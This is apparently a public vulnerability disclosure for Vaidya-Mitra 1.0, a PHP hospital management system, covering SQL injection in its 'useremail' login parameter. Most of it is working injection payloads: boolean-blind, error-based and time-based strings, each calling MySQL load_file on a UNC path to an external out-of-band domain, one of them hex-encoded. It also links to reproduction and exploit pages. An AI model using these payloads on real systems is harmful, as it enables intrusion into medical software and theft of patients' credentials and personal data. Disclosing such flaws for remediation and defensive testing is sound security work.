Vaidya-Mitra 1.0 – Multiple SQLi
## Title: Vaidya-Mitra 1.0 - Multiple SQLi ## Author: nu11secur1ty ## Date: 07.12.2023 ## Vendor: https://mayurik.com/ ## Software: free: https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html, https://mayurik.com/source-code/P5890/best-hospital-management-system-in-php ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The `useremail` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+' was submitted in the useremail parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker easily can steal all information from this system, like login credentials, phone numbers and etc. STATUS: HIGH Vulnerability [+]Payload: ```mysql --- Parameter: useremail (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: useremail=mayuri.infospace@gmail.com'+(select load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+'' RLIKE (SELECT (CASE WHEN (5532=5532) THEN 0x6d61797572692e696e666f737061636540676d61696c2e636f6d+(select load_file(0x5c5c5c5c6c726730667377767533773131677039727237656b33623734796172796c6d637030686e3762772e6f6173746966792e636f6d5c5c6d6576))+'' ELSE 0x28 END)) AND 'tsyu'='tsyu&userpassword=rootadmin Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: useremail=mayuri.infospace@gmail.com'+(select load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+'' AND (SELECT 3518 FROM(SELECT COUNT(*),CONCAT(0x716a766a71,(SELECT (ELT(3518=3518,1))),0x71626a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'gHln'='gHln&userpassword=rootadmin Type: time-based blind Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP) Payload: useremail=mayuri.infospace@gmail.com'+(select load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+'' OR (SELECT 4396 FROM (SELECT(SLEEP(3)))iEbq) AND 'ZWBa'='ZWBa&userpassword=rootadmin --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/Vaidya-Mitra-1.0) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/07/vaidya-mitra-10-multiple-sqli.html) ## Time spend: 00:27:00 |